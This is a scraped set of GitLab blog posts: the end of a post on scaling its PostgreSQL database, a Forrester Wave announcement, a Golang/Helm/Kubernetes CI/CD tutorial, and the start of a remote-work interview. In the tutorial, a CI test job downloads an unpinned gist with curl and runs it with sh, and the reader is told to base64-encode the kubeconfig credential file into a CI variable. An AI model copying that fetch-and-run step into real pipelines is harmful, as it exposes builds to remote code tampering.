satisfied with it. It's fairly\neasy to configure (and doesn't have that much that needs configuring in the\nfirst place), relatively easy to ship, focuses only on connection pooling (and\ndoes it really well), and had very little (if any) noticeable overhead. Perhaps\nmy only complaint would be that the pgbouncer website can be a little bit hard\nto navigate.\n\nUsing pgbouncer we were able to drop the number of active PostgreSQL connections\nfrom a few hundred to only 10-20 by using transaction pooling. We opted for\nusing transaction pooling since Rails database connections are persistent. In\nsuch a setup, using session pooling would prevent us from being able to reduce\nthe number of PostgreSQL connections, thus brining few (if any) benefits. By\nusing transaction pooling we were able to drop PostgreSQL's `max_connections`\nsetting from 3000 (the reason for this particular value was never really clear)\nto 300. pgbouncer is configured in such a way that even at peak capacity we will\nonly need 200 connections; giving us some room for additional connections such\nas `psql` consoles and maintenance tasks.\n\nA side effect of using transaction pooling is that you cannot use prepared\nstatements, as the `PREPARE` and `EXECUTE` commands may end up running in\ndifferent connections; producing errors as a result. Fortunately we did not\nmeasure any increase in response timings when disabling prepared statements, but\nwe _did_ measure a reduction of roughly 20 GB in memory usage on our database\nservers.\n\nTo ensure both web requests and background jobs have connections available we\nset up two separate pools: one pool of 150 connections for background\nprocessing, and a pool of 50 connections for web requests. For web requests we\nrarely need more than 20 connections, but for background processing we can\neasily spike to a 100 connections simply due to the large number of background\nprocesses running on GitLab.com.\n\nToday we ship pgbouncer as part of GitLab EE's High Availability package. For\nmore information you can refer to\n[\"Omnibus GitLab PostgreSQL High Availability.\"][ha-docs]\n\n## Database load balancing for GitLab\n\nWith pgpool and its load balancing feature out of the picture we needed\nsomething else to spread load across multiple hot-standby servers.\n\nFor (but not limited to) Rails applications there is a library called\n[Makara][makara] which implements load balancing logic and includes a default\nimplementation for ActiveRecord. Makara however has some problems that were a\ndeal-breaker for us. For example, its support for sticky connections is very\nlimited: when you perform a write the connection will stick to the primary using\na cookie, with a fixed TTL. This means that if replication lag is greater than\nthe TTL you may still end up running a query on a host that doesn't have the\ndata you need.\n\nMakara also requires you to configure quite a lot, such as all the database hosts\nand their roles, with no service discovery mechanism (our current solution does\nnot yet support this either, though it's planned for the near future). Makara\nalso [does not appear to be thread-safe][makara-thread-safe], which is\nproblematic since Sidekiq (the background processing system we use) is\nmulti-threaded. Finally, we wanted to have control over the load balancing logic\nas much as possible.\n\nBesides Makara there's also [Octopus][octopus] which has some load balancing\nmechanisms built in. Octopus however is geared towards database sharding and not\njust balancing of read-only queries. As a result we did not consider using\nOctopus.\n\nUltimately this led to us building our own solution directly into GitLab EE.\nThe merge request adding the initial implementation can be found [here][lb-mr],\nthough some changes, improvements, and fixes were applied later on.\n\nOur solution essentially works by replacing `ActiveRecord::Base.connection` with\na proxy object that handles routing of queries. This ensures we can load balance\nas many queries as possible, even queries that don't originate directly from our\nown code. This proxy object in turn determines what host a query is sent to\nbased on the methods called, removing the need for parsing SQL queries.\n\n### Sticky connections\n\nSticky connections are supported by storing a pointer to the current PostgreSQL\nWAL position the moment a write is performed. This pointer is then stored in\nRedis for a short duration at the end of a request. Each user is given their own\nkey so that the actions of one user won't lead to all other users being\naffected. In the next request we get the pointer and compare this with all the\nsecondaries. If all secondaries have a WAL pointer that exceeds our pointer we\nknow they are in sync and we can safely use a secondary for our read-only\nqueries. If one or more secondaries are not yet in sync we will continue using\nthe primary until they are in sync. If no write is performed for 30 seconds and\nall the secondaries are still not in sync we'll revert to using the secondaries\nin order to prevent somebody from ending up running queries on the primary\nforever.\n\nChecking if a secondary has caught up is quite simple and is implemented in\n`Gitlab::Database::LoadBalancing::Host#caught_up?` as follows:\n\n```ruby\ndef caught_up?(location)\n  string = connection.quote(location)\n\n  query = \"SELECT NOT pg_is_in_recovery() OR \" \\\n    \"pg_xlog_location_diff(pg_last_xlog_replay_location(), #{string}) >= 0 AS result\"\n\n  row = connection.select_all(query).first\n\n  row && row['result'] == 't'\nensure\n  release_connection\nend\n```\n\nMost of the code here is standard Rails code to run raw queries and grab the\nresults. The most interesting part is the query itself, which is as follows:\n\n```sql\nSELECT NOT pg_is_in_recovery()\nOR pg_xlog_location_diff(pg_last_xlog_replay_location(), WAL-POINTER) >= 0 AS result\"\n```\n\nHere `WAL-POINTER` is the WAL pointer as returned by the PostgreSQL function\n`pg_current_xlog_insert_location()`, which is executed on the primary. In the\nabove code snippet the pointer is passed as an argument, which is then\nquoted/escaped and passed to the query.\n\nUsing the function `pg_last_xlog_replay_location()` we can get the WAL pointer\nof a secondary, which we can then compare to our primary pointer using\n`pg_xlog_location_diff()`. If the result is greater than 0 we know the secondary\nis in sync.\n\nThe check `NOT pg_is_in_recovery()` is added to ensure the query won't fail when\na secondary that we're checking was _just_ promoted to a primary and our\nGitLab process is not yet aware of this. In such a case we simply return `true`\nsince the primary is always in sync with itself.\n\n### Background processing\n\nOur background processing code _always_ uses the primary since most of the work\nperformed in the background consists of writes. Furthermore we can't reliably\nuse a hot-standby as we have no way of knowing whether a job should use the\nprimary or not as many jobs are not directly tied into a user.\n\n### Connection errors\n\nTo deal with connection errors our load balancer will not use a secondary if it\nis deemed to be offline, plus connection errors on any host (including the\nprimary) will result in the load balancer retrying the operation a few times.\nThis ensures that we don't immediately display an error page in the event of a\nhiccup or a database failover. While we also deal with [hot standby\nconflicts][hot-standby-conflicts] on the load balancer level we ended up\nenabling `hot_standby_feedback` on our secondaries as doing so solved all\nhot-standby conflicts without having any negative impact on table bloat.\n\nThe procedure we use is quite simple: for a secondary we'll retry a few times\nwith no delay in between. For a primary we'll retry the operation a few times\nusing an exponential backoff.\n\nFor more information you can refer to the source code in GitLab EE:\n\n* \u003Chttps://gitlab.com/gitlab-org/gitlab-ee/tree/master/ee/lib/gitlab/database/load_balancing.rb>\n* \u003Chttps://gitlab.com/gitlab-org/gitlab-ee/tree/master/ee/lib/gitlab/database/load_balancing>\n\nDatabase load balancing was first introduced in GitLab 9.0 and _only_ supports\nPostgreSQL. More information can be found in the [9.0 release post][9-0-release]\nand the [documentation](https://docs.gitlab.com/ee/administration/postgresql/database_load_balancing.html).\n\n## Crunchy Data\n\nIn parallel to working on implementing connection pooling and load balancing we\nwere working with [Crunchy Data][crunchy]. Until very recently I was the only\n[database specialist][database-specialist] which meant I had a lot of work on my\nplate. Furthermore my knowledge of PostgreSQL internals and its wide range of\nsettings is limited (or at least was at the time), meaning there's only so much\nI could do. Because of this we hired Crunchy to help us out with identifying\nproblems, investigating slow queries, proposing schema optimisations, optimising\nPostgreSQL settings, and much more.\n\nFor the duration of this cooperation most work was performed in confidential\nissues so we could share private data such as log files. With the cooperation\ncoming to an end we have removed sensitive information from some of these issues\nand opened them up to the public. The primary issue was\n[gitlab-com/infrastructure#1448][issue-1448], which in turn led to many separate\nissues being created and resolved.\n\nThe benefit of this cooperation was immense as it helped us identify and solve\nmany problems, something that would have taken me months to identify and solve\nif I had to do this all by myself.\n\nFortunately we recently managed to hire our [second database specialist][gstark]\nand we hope to grow the team more in the coming months.\n\n## Combining connection pooling and database load balancing\n\nCombining connection pooling and database load balancing allowed us to\ndrastically reduce the number of resources necessary to run our database cluster\nas well as spread load across our hot-standby servers. For example, instead of\nour primary having a near constant CPU utilisation of 70 percent today it\nusually hovers between 10 percent and 20 percent, while our two hot-standby\nservers hover around 20 percent most of the time:\n\n![CPU Percentage](https://about.gitlab.com/images/scaling-the-gitlab-database/cpu-percentage.png)\n\nHere `db3.cluster.gitlab.com` is our primary while the other two hosts are our\nsecondaries.\n\nOther load-related factors such as load averages, disk usage, and memory usage\nwere also drastically improved. For example, instead of the primary having a\nload average of around 20 it barely goes above an average of 10:\n\n![CPU Percentage](https://about.gitlab.com/images/scaling-the-gitlab-database/load-averages.png)\n\nDuring the busiest hours our secondaries serve around 12 000 transactions per\nsecond (roughly 740 000 per minute), while the primary serves around 6 000\ntransactions per second (roughly 340 000 per minute):\n\n![Transactions Per Second](https://about.gitlab.com/images/scaling-the-gitlab-database/transactions.png)\n\nUnfortunately we don't have any data on the transaction rates prior to deploying\npgbouncer and our database load balancer.\n\nAn up-to-date overview of our PostgreSQL statistics can be found at our [public\nGrafana dashboard][postgres-stats].\n\nSome of the settings we have set for pgbouncer are as follows:\n\n| Setting              | Value       |\n|----------------------|-------------|\n| default_pool_size    | 100         |\n| reserve_pool_size    | 5           |\n| reserve_pool_timeout | 3           |\n| max_client_conn      | 2048        |\n| pool_mode            | transaction |\n| server_idle_timeout  | 30          |\n\nWith that all said there is still some work left to be done such as:\nimplementing service discovery ([#2042][issue-2042]), improving how we check if\na secondary is available ([#2866][issue-2866]), and ignoring secondaries that\nare too far behind the primary ([#2197][issue-2197]).\n\nIt's worth mentioning that we currently do not have any plans of turning our\nload balancing solution into a standalone library that you can use outside of\nGitLab, instead our focus is on providing a solid load balancing solution for\nGitLab EE.\n\nIf this has gotten you interested and you enjoy working with databases,\nimproving application performance, and adding database-related features to\nGitLab (such as [service discovery][issue-2042]) you should definitely check out\nthe [job opening][job-opening] and the [database specialist handbook\nentry][database-specialist] for more information.\n\n[max-connections]: https://www.postgresql.org/docs/9.6/static/runtime-config-connection.html#GUC-MAX-CONNECTIONS\n[pgbouncer]: https://pgbouncer.github.io/\n[pgpool]: http://pgpool.net/mediawiki/index.php/Main_Page\n[hot-standby]: https://www.postgresql.org/docs/9.6/static/hot-standby.html\n[pgpool-comment-data]: https://gitlab.com/gitlab-com/infrastructure/issues/259#note_23464570\n[ha-docs]: https://docs.gitlab.com/ee/administration/postgresql/index.html\n[makara]: https://github.com/taskrabbit/makara\n[makara-thread-safe]: https://github.com/taskrabbit/makara/issues/151\n[lb-mr]: https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/1283\n[issue-2042]: https://gitlab.com/gitlab-org/gitlab-ee/issues/2042\n[issue-2866]: https://gitlab.com/gitlab-org/gitlab-ee/issues/2866\n[issue-2197]: https://gitlab.com/gitlab-org/gitlab-ee/issues/2197\n[9-0-release]: /releases/2017/03/22/gitlab-9-0-released/\n[lb-docs]: https://docs.gitlab.com/ee/administration/database_load_balancing.html\n[postgres-stats]: https://dashboards.gitlab.com/dashboard/db/postgresql-overview?refresh=5m&orgId=1\n[hot-standby-conflicts]: https://www.postgresql.org/docs/current/static/hot-standby.html#HOT-STANDBY-CONFLICT\n[citus]: https://www.citusdata.com/\n[octopus]: https://github.com/thiagopradi/octopus\n[crunchy]: https://www.crunchydata.com/\n[database-specialist]: /handbook/engineering/infrastructure/database/\n[job-opening]: /job-families/engineering/database-engineer/\n[issue-1448]: https://gitlab.com/gitlab-com/infrastructure/issues/1448\n[gstark]: https://gitlab.com/_stark\n",[676,6962],{"slug":34824,"featured":6,"template":678},"scaling-the-gitlab-database","content:en-us:blog:scaling-the-gitlab-database.yml","Scaling The Gitlab Database","en-us/blog/scaling-the-gitlab-database.yml","en-us/blog/scaling-the-gitlab-database",{"_path":34830,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34831,"content":34837,"config":34842,"_id":34844,"_type":16,"title":34845,"_source":17,"_file":34846,"_stem":34847,"_extension":20},"/en-us/blog/gitlab-leader-continuous-integration-forrester-wave",{"title":34832,"description":34833,"ogTitle":34832,"ogDescription":34833,"noIndex":6,"ogImage":34834,"ogUrl":34835,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34835,"schema":34836},"GitLab Continuous Integration named a Leader in the Forrester Wave™","GitLab cited as a Leader in The Forrester Wave™&#58; Continuous Integration Tools, Q3 2017 report released today.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683243/Blog/Hero%20Images/gitlab-ci-wave-cover.png","https://about.gitlab.com/blog/gitlab-leader-continuous-integration-forrester-wave","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Continuous Integration named a Leader in the Forrester Wave™\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2017-09-27\",\n      }",{"title":34832,"description":34833,"authors":34838,"heroImage":34834,"date":34839,"body":34840,"category":299,"tags":34841},[711],"2017-09-27","Today Forrester has evaluated GitLab as a Leader in [Continuous Integration (CI)](/solutions/continuous-integration/) in The Forrester Wave™: Continuous Integration Tools, Q3 2017 report. As the report states, “GitLab delivers ease of use, scalability, integration, and innovation.” We see CI/CD as a critical component of our offering, making it quicker and easier to deliver value through automation. The progress we’ve made in developing a CI/CD solution that’s seamlessly integrated is thanks largely to the participation and feedback of our community and customers.\n\n\u003C!-- more -->\n\nWe’re excited about [what the future holds for GitLab CI/CD](/direction/#ci--cd), so it’s great to know that others see its value. Furthermore Forrester states, “GitLab’s vision is to serve enterprise-scale, integrated software development teams that want to spend more time writing code and less time maintaining their tool chain.”\n{: .text-justify}\n\nWe’ve said it before (we say it a lot, actually): CI/CD is the cornerstone of modern software development. Delivering what customers want, faster, requires a modernized software development lifecycle that saves time, effort, and cost. Automation is key to this more efficient release cycle, which is why we’ve spent a lot of time developing our built-in test and release automation, so developers can spend less time stringing together their tool chain, and more on innovation and integrating customer feedback. We’re gratified to have been named a leader in CI by Forrester in their report on Continuous Integration Tools for Q3, 2017, which evaluated 10 vendors across 25 different criteria.\n{: .text-justify}\n\nWe had some key areas of success:\n\n## Top score in the Current Offering category\n\nGitLab received the highest score in Forrester’s Current Offering evaluation, which we believe confirms that our product is hard to beat when it comes to ease of installation, configuring builds, platform support, analytics, an intuitive UI, container support and more. This all adds up to a more seamless development process which facilitates DevOps practices and collaboration.\n\n## Highest score possible in the Strategy category\n\nForrester assessed our product strategy, market approach, training, consulting and support, giving us a 5.0, the highest possible score, for all three criteria. This is huge validation for our CI/CD vision, shaped with the help of our customers, community, and their contributions.\n\n## Just the beginning\n\nA significant part of that vision, Auto DevOps, just shipped with our [10.0 release](/releases/2017/09/22/gitlab-10-0-released/). Auto DevOps is a hands-free DevOps experience that automatically configures your build, test, code quality assurance, review apps, deployment, and monitoring in a single environment. Our out-of-the-box templates allow you to set up an end-to-end DevOps lifecycle at the push of a button.\n\nAuto DevOps is just the first step on a journey to building a complete and highly automated DevOps tool chain. Building on strong momentum, we’re working on a number of new features to better leverage our CI/CD tools in a more automated way for both operations as well as development teams. With the full automation we are planning, you will not only be able to deliver a new, functioning application from a developer’s machine to a production environment in minutes, but also monitor all production environments in one dashboard.\n\n### Faster time to value\n\nReducing the time teams spend on manual tasks means you can focus on what matters: building great products that your users want. GitLab CI/CD facilitates a more iterative approach to software development, by automatically testing new code, helping you to catch potential problems earlier in the release cycle, taking the anxiety out of deployments and reducing the cost of fixing bugs. This puts you in a position to release more often, shortening the feedback loop and helping you to release features and improvements that your customers are asking for.\n\n### Collaboration without dependency\n\nThe fact that GitLab CI/CD is fully integrated makes all the difference. Less context-switching means key information doesn’t slip through the cracks like it can when teams work in different tools, with no single source of truth. Working in an integrated tool fosters collaboration by improving visibility, keeping everyone on the same page and making it easy for different teams to participate and comment. Features like review apps – which automatically spin up a dynamic environment for merge requests, so you can preview changes right away – make it even easier to share improvements with stakeholders and gather feedback.\n\nBeing named a Leader in this Wave evaluation, and receiving the Top Score in Current Offering, as well as the highest score possible for Strategy, is validation for us of the strength of today’s GitLab CI offering as well as our vision for the future.",[736,1384],{"slug":34843,"featured":6,"template":678},"gitlab-leader-continuous-integration-forrester-wave","content:en-us:blog:gitlab-leader-continuous-integration-forrester-wave.yml","Gitlab Leader Continuous Integration Forrester Wave","en-us/blog/gitlab-leader-continuous-integration-forrester-wave.yml","en-us/blog/gitlab-leader-continuous-integration-forrester-wave",{"_path":34849,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34850,"content":34855,"config":34862,"_id":34864,"_type":16,"title":34865,"_source":17,"_file":34866,"_stem":34867,"_extension":20},"/en-us/blog/how-to-create-a-ci-cd-pipeline-with-auto-deploy-to-kubernetes-using-gitlab",{"title":34851,"description":34852,"ogTitle":34851,"ogDescription":34852,"noIndex":6,"ogImage":6704,"ogUrl":34853,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34853,"schema":34854},"CI/CD pipeline: GitLab & Helm for Kubernetes Auto Deploy","One user walks through how he tried GitLab caching and split the job into multiple steps to get better feedback.","https://about.gitlab.com/blog/how-to-create-a-ci-cd-pipeline-with-auto-deploy-to-kubernetes-using-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to create a CI/CD pipeline with Auto Deploy to Kubernetes using GitLab and Helm\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sergey Nuzhdin\"}],\n        \"datePublished\": \"2017-09-21\",\n      }",{"title":34856,"description":34852,"authors":34857,"heroImage":6704,"date":34859,"body":34860,"category":734,"tags":34861},"How to create a CI/CD pipeline with Auto Deploy to Kubernetes using GitLab and Helm",[34858],"Sergey Nuzhdin","2017-09-21","Recently, I started working on a few Golang [microservices](/topics/microservices/). I decided to try GitLab’s caching and split the job into multiple steps for better feedback in the UI.\n\n\u003C!-- more -->\n\nSince my previous posts[[1](http://blog.lwolf.org/post/how-to-build-tiny-golang-docker-images-with-gitlab-ci/)][[2](http://blog.lwolf.org/post/continuous-deployment-to-kubernetes-from-gitlab-ci/)] about [CI/CD](/topics/ci-cd/), a lot has changed. I started using Helm charts for packaging applications, and stopped using docker-in-docker in gitlab-runner.\n\nHere are a few of the main changes to my `.gitlab-ci.yml` file since my previous post:\n\n* no docker-in-docker\n* using cache for packages instead of a prebuilt image with dependencies\n* splitting everything into multiple steps\n* autodeploy to staging environment using Helm, a package manager for Kubernetes\n\n### Building Golang image\n\nSince Golang is very strict about the location of the project, we need to make some adjustments to the CI job. This is done in the `before_script` block. Simply create needed directories and link source code in there. Assuming that the official repository of the project is `gitlab.example.com/librerio/libr_files` it should look like this.\n\n```\nvariables:\n  APP_PATH: /go/src/gitlab.example.com/librerio/libr_files\n\nbefore_script:\n  - mkdir -p /go/src/gitlab.example.com/librerio/\n  - ln -s $PWD ${APP_PATH}\n  - mkdir -p ${APP_PATH}/vendor\n  - cd ${APP_PATH}\n```\n\nWith this in place, we can install dependencies and build our binaries. To avoid the download of all packages on each build we need to configure caching. Due to the strange caching rules of GitLab, we need to add vendor directory to both cache and artifacts. Cache will give us an ability to use it between build jobs and artifacts will allow us to use it inside the same job.\n\n```\n\ncache:\n  untracked: true\n  key: \"$CI_BUILD_REF_NAME\"\n  paths:\n    - vendor/\n\nsetup:\n  stage: setup\n  image: lwolf/golang-glide:0.12.3\n  script:\n    - glide install -v\n  artifacts:\n    paths:\n     - vendor/\n\n```\n\nBuild step didn’t change, it’s still about building the binary. I add binary to artifacts.\n\n```\nbuild:\n  stage: build\n  image: lwolf/golang-glide:0.12.3\n  script:\n    - cd ${APP_PATH}\n    - GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o release/app -ldflags '-w -s'\n    - cd release\n  artifacts:\n    paths:\n     - release/\n```\n\n###  Test stage\n\nTo run golang tests with coverage reports I’m using the variation of [this shell script](https://github.com/mlafeldt/chef-runner/blob/v0.7.0/script/coverage). It runs all tests in project subdirectories and creates a [coverage report](/blog/publish-code-coverage-report-with-gitlab-pages/). I changed it a bit before putting into a gist. I exclude vendor directory from tests.\n\n* coverage regexp for gitlab-ci: `^total:\\s*\\(statements\\)\\s*(\\d+.\\d+\\%)`\n\n### Deploy stage\n\nI don’t use native GitLab’s integration with Kubernetes.\n\nFirst I thought about creating Kubernetes secrets and mounting it to the gitlab-runner pod. But it’s very complicated. You need to upgrade deployment every time you want to add new Kubernetes cluster configurations. So I’m using GitLab’s CI/CD variables with base64 encoded Kubernetes config. Each project can have any number of configurations. The process is easy – create base64 string from the configuration file and copy it to the clipboard. After this, put it into `kube_config` variable (name it whatever you like).\n\n`cat ~/.kube/config | base64 | pbcopy`\n\nIf you do not own a full GitLab installation, consider creating a Kubernetes user with restricted permissions.\n\nThen on the deploy stage, we can decode this variable back into the file and use it with kubectl.\n\n```\nvariables:\n  KUBECONFIG: /etc/deploy/config\n\ndeploy:\n  ...\n  before_script:\n    - mkdir -p /etc/deploy\n    - echo ${kube_config} | base64 -d > ${KUBECONFIG}\n    - kubectl config use-context homekube\n    - helm init --client-only\n    - helm repo add stable https://kubernetes-charts.storage.googleapis.com/\n    - helm repo add incubator https://kubernetes-charts-incubator.storage.googleapis.com/\n    - helm repo update\n```\n\nDeploy stage also covers the case when you have several versions of the same application.\n\nFor example, you have two versions of API: v1.0 and v1.1. All you need to do is set `appVersion` in Chart.yaml file. Build system will check API version and either deploy or upgrade needed release.\n\n```\n- export API_VERSION=\"$(grep \"appVersion\" Chart.yaml | cut -d\" \" -f2)\"\n- export RELEASE_NAME=\"libr-files-v${API_VERSION/./-}\"\n- export DEPLOYS=$(helm ls | grep $RELEASE_NAME | wc -l)\n- if [ ${DEPLOYS}  -eq 0 ]; then helm install --name=${RELEASE_NAME} . --namespace=${STAGING_NAMESPACE}; else helm upgrade ${RELEASE_NAME} . --namespace=${STAGING_NAMESPACE}; fi\n```\n\n### tl;dr\n\n```\nHere is complete `.gitlab-ci.yaml` file for reference.\n\ncache:\n  untracked: true\n  key: \"$CI_BUILD_REF_NAME\"\n  paths:\n    - vendor/\n\nbefore_script:\n  - mkdir -p /go/src/gitlab.example.com/librerio/\n  - ln -s $PWD ${APP_PATH}\n  - mkdir -p ${APP_PATH}/vendor\n  - cd ${APP_PATH}\n\nstages:\n  - setup\n  - test\n  - build\n  - release\n  - deploy\n\nvariables:\n  CONTAINER_IMAGE: ${CI_REGISTRY}/${CI_PROJECT_PATH}:${CI_BUILD_REF_NAME}_${CI_BUILD_REF}\n  CONTAINER_IMAGE_LATEST: ${CI_REGISTRY}/${CI_PROJECT_PATH}:latest\n  DOCKER_DRIVER: overlay2\n\n  KUBECONFIG: /etc/deploy/config\n  STAGING_NAMESPACE: app-stage\n  PRODUCTION_NAMESPACE: app-prod\n\n  APP_PATH: /go/src/gitlab.example.com/librerio/libr_files\n  POSTGRES_USER: gorma\n  POSTGRES_DB: test-${CI_BUILD_REF}\n  POSTGRES_PASSWORD: gorma\n\nsetup:\n  stage: setup\n  image: lwolf/golang-glide:0.12.3\n  script:\n    - glide install -v\n  artifacts:\n    paths:\n     - vendor/\n\nbuild:\n  stage: build\n  image: lwolf/golang-glide:0.12.3\n  script:\n    - cd ${APP_PATH}\n    - GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o release/app -ldflags '-w -s'\n    - cd release\n  artifacts:\n    paths:\n     - release/\n\nrelease:\n  stage: release\n  image: docker:latest\n  script:\n    - cd ${APP_PATH}/release\n    - docker login -u gitlab-ci-token -p ${CI_BUILD_TOKEN} ${CI_REGISTRY}\n    - docker build -t ${CONTAINER_IMAGE} .\n    - docker tag ${CONTAINER_IMAGE} ${CONTAINER_IMAGE_LATEST}\n    - docker push ${CONTAINER_IMAGE}\n    - docker push ${CONTAINER_IMAGE_LATEST}\n\ntest:\n  stage: test\n  image: lwolf/golang-glide:0.12.3\n  services:\n    - postgres:9.6\n  script:\n    - cd ${APP_PATH}\n    - curl -o coverage.sh https://gist.githubusercontent.com/lwolf/3764a3b6cd08387e80aa6ca3b9534b8a/raw\n    - sh coverage.sh\n\ndeploy_staging:\n  stage: deploy\n  image: lwolf/helm-kubectl-docker:v152_213\n  before_script:\n    - mkdir -p /etc/deploy\n    - echo ${kube_config} | base64 -d > ${KUBECONFIG}\n    - kubectl config use-context homekube\n    - helm init --client-only\n    - helm repo add stable https://kubernetes-charts.storage.googleapis.com/\n    - helm repo add incubator https://kubernetes-charts-incubator.storage.googleapis.com/\n    - helm repo update\n  script:\n    - cd deploy/libr-files\n    - helm dep build\n    - export API_VERSION=\"$(grep \"appVersion\" Chart.yaml | cut -d\" \" -f2)\"\n    - export RELEASE_NAME=\"libr-files-v${API_VERSION/./-}\"\n    - export DEPLOYS=$(helm ls | grep $RELEASE_NAME | wc -l)\n    - if [ ${DEPLOYS}  -eq 0 ]; then helm install --name=${RELEASE_NAME} . --namespace=${STAGING_NAMESPACE}; else helm upgrade ${RELEASE_NAME} . --namespace=${STAGING_NAMESPACE}; fi\n  environment:\n    name: staging\n    url: https://librerio.example.com\n  only:\n  - master\n\n```\n\n_[How to create a CI/CD pipeline with Auto Deploy to Kubernetes using GitLab and Helm](http://blog.lwolf.org/post/how-to-create-ci-cd-pipeline-with-autodeploy-k8s-gitlab-helm/) was originally published on Lwolfs Blog._\n\nPhoto by C Chapman on [Unsplash](https://unsplash.com/)",[1384,1385,696,4772],{"slug":34863,"featured":6,"template":678},"how-to-create-a-ci-cd-pipeline-with-auto-deploy-to-kubernetes-using-gitlab","content:en-us:blog:how-to-create-a-ci-cd-pipeline-with-auto-deploy-to-kubernetes-using-gitlab.yml","How To Create A Ci Cd Pipeline With Auto Deploy To Kubernetes Using Gitlab","en-us/blog/how-to-create-a-ci-cd-pipeline-with-auto-deploy-to-kubernetes-using-gitlab.yml","en-us/blog/how-to-create-a-ci-cd-pipeline-with-auto-deploy-to-kubernetes-using-gitlab",{"_path":34869,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34870,"content":34876,"config":34883,"_id":34885,"_type":16,"title":34886,"_source":17,"_file":34887,"_stem":34888,"_extension":20},"/en-us/blog/pick-your-brain-interview-kwan-lee",{"title":34871,"description":34872,"ogTitle":34871,"ogDescription":34872,"noIndex":6,"ogImage":34873,"ogUrl":34874,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34874,"schema":34875},"GitLab CEO interview: Building the best distributed Dev team","FineTune CTO Kwan Lee sits down for a 'pick your brain' meeting with GitLab CEO Sid Sijbrandij.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680355/Blog/Hero%20Images/pyb-kwan-lee.jpg","https://about.gitlab.com/blog/pick-your-brain-interview-kwan-lee","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to become the best distributed software development team? My interview with GitLab's CEO\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kwan Lee\"}],\n        \"datePublished\": \"2017-09-15\",\n      }",{"title":34877,"description":34872,"authors":34878,"heroImage":34873,"date":34880,"body":34881,"category":6634,"tags":34882},"How to become the best distributed software development team? My interview with GitLab's CEO",[34879],"Kwan Lee","2017-09-15","\n_GitLab CEO Sid Sijbrandij occasionally sits down for a \"[pick your brain](/handbook/eba/ceo-scheduling/#pick-your-brain-meetings)\"\nmeeting with people seeking advice on open source, remote work, or discussion of other things related to GitLab._\n\nIt was great to find the time for us to pick Sid’s brain and learn from the history and the organizational challenges that GitLab had overcome so that we may reference them for building a better organization. There were some cultural elements, tactical organizational elements and software development process-related elements that were valuable pointers.\n\n\u003C!-- more -->\n\n## Lessons in remote work\n\nHaving 178 people in 38 countries was quite an impressive distribution of employees across different geographies. Sponsoring travel to work with fellow members of the company was a great program that they have to bridge the distributed nature of the company. We are also a very distributed company and we want to grow a company where a distributed team can scale and collaborate actively while continuously increasing the motivation to build higher quality software at higher velocity for our customers.\n\nOne of the challenges of being remote is that, although we are part of one company, it is tricky for us to interact in a casual manner as we do in a physical co-working environment. GitLab promotes virtual coffee breaks and all-team meetings to promote these. People can arrange coffee breaks with others at their will to catch up. During all-team meetings, they go around introducing personal updates about themselves. The team being remote requires everybody to still feel part of one company. In order to feel part of the company, it requires participation from everybody and their willingness to share their personal lives.\n\n>In order to feel part of the company, it requires participation from everybody and their willingness to share their personal lives.\n\nAt [FineTune](https://www.finetunelearning.com/), we are not used to taking coffee breaks during the day with coworkers, but we try to have regular meetings where we try to catch up personally for the first five minutes. Our weekly company meetings have been a little bit informal and did not give opportunity for each of the members to speak. We plan to keep encouraging people to share more as we want to grow a culture of sharing more as we grow and scale.\n\nSid also described various rooms for social interaction in the company. Some more interesting venues for social interaction that were suggested by Sid were:\n\n* Team call four times a week (20 minutes)\n* Summit: every nine months they fly everybody to one place, for interactions that are less organized with scheduled activities and forbidden to have team meetings ('unconference')\n* Asynchronous discussions via merge requests, while they sometimes get on video call to summarize what has been concluded or decided\n\nWriting things down is important due to the remote nature of the company. We have been pretty bad at keeping consistent standards on documentation and keeping them up to date. It also hinders communication flow, making it difficult to discover and share knowledge when we do not have such consistency. We are working on ways to improve this nowadays.\n\n>Writing things down is important due to the remote nature of the company\n\n## Lessons in organization\n\nWhen it comes to organization and growth, what we got most out of it was that we need to find the gaps in our team and try to fill in those parts we lack when we hire new members. Currently, we have a gap in frontend tech lead, and by thinking through what gaps exist in our development and future of our company we found that we would like to find a tech lead who has extensive experience modularizing frontend software components and has worked with complex microservice APIs that would facilitate the flow of communication between frontend and backend members.\n\nSome other organizational lessons learned from growing from 15 to 50 was that:\n* Sid was the only Sales (non-development) team member\n* Get things done on time and having well defined tasks are very important\n* One boss to give approvals\n* No project managers\n\nWe want to organize ourselves so that we are making decisions quickly and moving fast. I believe that as long as the priority framework for decision-making is clear, everybody should feel free to make the decisions that move the company forward.\n\n## Lessons in the development process\n\nIn terms of development process, we realized we needed to shorten the time to release and try to keep shipping. Importance of fast iteration was emphasized by Sid and shipping fast by cutting scope.  We should not fall into the trap of building the car and not shipping when the bicycle is ready.  We also need more discipline to maintain good, coherent design documentations that allows us to be all on the same page.\n\nIt was interesting to see the scale of work that the distributed team worked on. When a new sprint starts, product and UX team already had designed and product team had schedules for release. Ad hoc dev teams get formed for big features (every release has around five big features and 100s of small issues), making a chat channel, discussing issue descriptions, figuring out when you hand off from backend to the frontend team.\n\n>\"always finish the flow first\"\n\nGitLab's approach of \"always finish the flow first\" (breadth vs depth) to take care of coordination resonated strongly since that involves more people and requires people to be on the same page to further dive in deeper. Also, the \"building better a experience\" and \"releasing a more integrated experience\" brings a lot of emergent benefits.\n\nSome mistakes seen were people having hard time iterating and sometimes over engineering implementation which risks release deadline. Everyone can contribute, but at the end person doing the work makes the decision.\n\n## Lessons in leadership\n\nAs a final question, we asked what prevents a software company from growing.  